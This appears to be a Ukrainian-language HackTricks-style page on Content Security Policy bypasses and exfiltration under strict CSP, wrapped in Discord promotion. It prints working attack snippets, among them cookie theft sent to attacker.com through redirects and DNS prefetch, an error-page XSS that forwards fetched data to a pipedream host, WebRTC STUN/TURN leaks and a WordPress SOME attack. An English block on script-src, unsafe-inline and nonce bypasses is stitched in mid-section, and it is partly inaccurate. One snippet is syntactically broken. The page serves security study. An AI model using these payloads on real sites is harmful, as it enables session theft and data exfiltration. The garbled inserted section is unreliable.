Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Небезпечні Технології для Обхіду CSP

Перевантаження буфера відповіді PHP

PHP відомий тим, що за замовчуванням буферизує відповідь до 4096 байтів. Тому, якщо PHP показує попередження, надаючи достатньо даних всередині попереджень, відповідь буде відправлена перед заголовком CSP, що призводить до ігнорування заголовка.
Отже, техніка полягає в основному в заповненні буфера відповіді попередженнями, щоб заголовок CSP не був відправлений.

Ідея від цього опису.

Перезапис Сторінки Помилки

З цього опису здається, що було можливо обійти захист CSP, завантаживши сторінку помилки (потенційно без CSP) та переписавши її вміст.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME - це техніка, яка зловживає XSS (або дуже обмежений XSS) в кінцевій точці сторінки, щоб зловживати іншими кінцевими точками того ж походження. Це робиться шляхом завантаження вразливої кінцевої точки зі сторінки зловмисника, а потім оновлення сторінки зловмисника до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином вразлива кінцева точка може використовувати об'єкт opener в пейлоуді, щоб отримати доступ до DOM реальної кінцевої точки для зловживання. Для отримання додаткової інформації перегляньте:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Крім того, wordpress має JSONP кінцеву точку в /wp-json/wp/v2/users/1?_jsonp=data, яка буде відображати дані, відправлені у виведенні (з обмеженням лише літер, цифр та крапок).

Зловмисник може зловживати цією кінцевою точкою, щоб здійснити атаку SOME проти WordPress та вбудувати її всередину <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>, слід зазначити, що цей скрипт буде завантажено, оскільки він дозволений 'self'. Крім того, і через те, що WordPress встановлено, зловмисник може зловживати атакою SOME через вразливу колбек кінцеву точку, яка обхід CSP для надання більш високих привілеїв користувачу, встановлення нового плагіна...
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Bypasses для ексфільтрації

Якщо є строга CSP, яка не дозволяє вам взаємодіяти з зовнішніми серверами, є кілька речей, які ви завжди можете зробити для ексфільтрації інформації.

Location

Ви можете просто оновити місце розташування, щоб надіслати зловмиснику на сервер секретну інформацію:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Мета-тег

Ви можете перенаправити, впровадивши мета-тег (це лише перенаправлення, це не витікає вмісту)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Для швидкого завантаження сторінок браузери будуть попередньо розгадувати імена хостів у IP-адреси та кешувати їх для подальшого використання.
Ви можете вказати браузеру попередньо розгадати ім'я хоста за допомогою: <link rel="dns-prefetch" href="something.com">

Ви можете зловживати цим поведінкою для ексфільтрації чутливої інформації через запити DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

CSP Bypass

Content Security Policy (CSP) Bypass

Bypassing CSP using script-src

If the CSP header allows scripts from a specific domain, you can try to load a script from a subdomain of that domain. For example, if the CSP header allows scripts from example.com, you can try to load a script from subdomain.example.com.

<script src="https://subdomain.example.com/evil.js"></script>

This technique can sometimes bypass the CSP restrictions.

Bypassing CSP using unsafe-inline

If the CSP header allows inline scripts using unsafe-inline, you can execute arbitrary JavaScript code directly in the HTML.

<script>alert('CSP bypassed!')</script>

This technique allows you to bypass CSP restrictions by executing inline scripts.

Bypassing CSP using nonce

If the CSP header uses a nonce to allow specific inline scripts, you can try to inject a script tag with the correct nonce value.

<script nonce="random-nonce-value">alert('CSP bypassed!')</script>

By injecting a script tag with the correct nonce value, you can bypass CSP restrictions that rely on nonces.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Для того щоб уникнути цього, сервер може відправити HTTP заголовок:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Здається, ця техніка не працює в безголових браузерах (ботах) {% endhint %}

WebRTC

На декількох сторінках можна прочитати, що WebRTC не перевіряє політику connect-src CSP.

Фактично, ви можете витікати інформацію, використовуючи DNS запит. Перевірте цей код:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Інша опція:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Перевірка політик CSP онлайн

Автоматичне створення CSP

https://csper.io/docs/generating-content-security-policy

Посилання

Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про хакінг у реальному часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні оголошення
Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: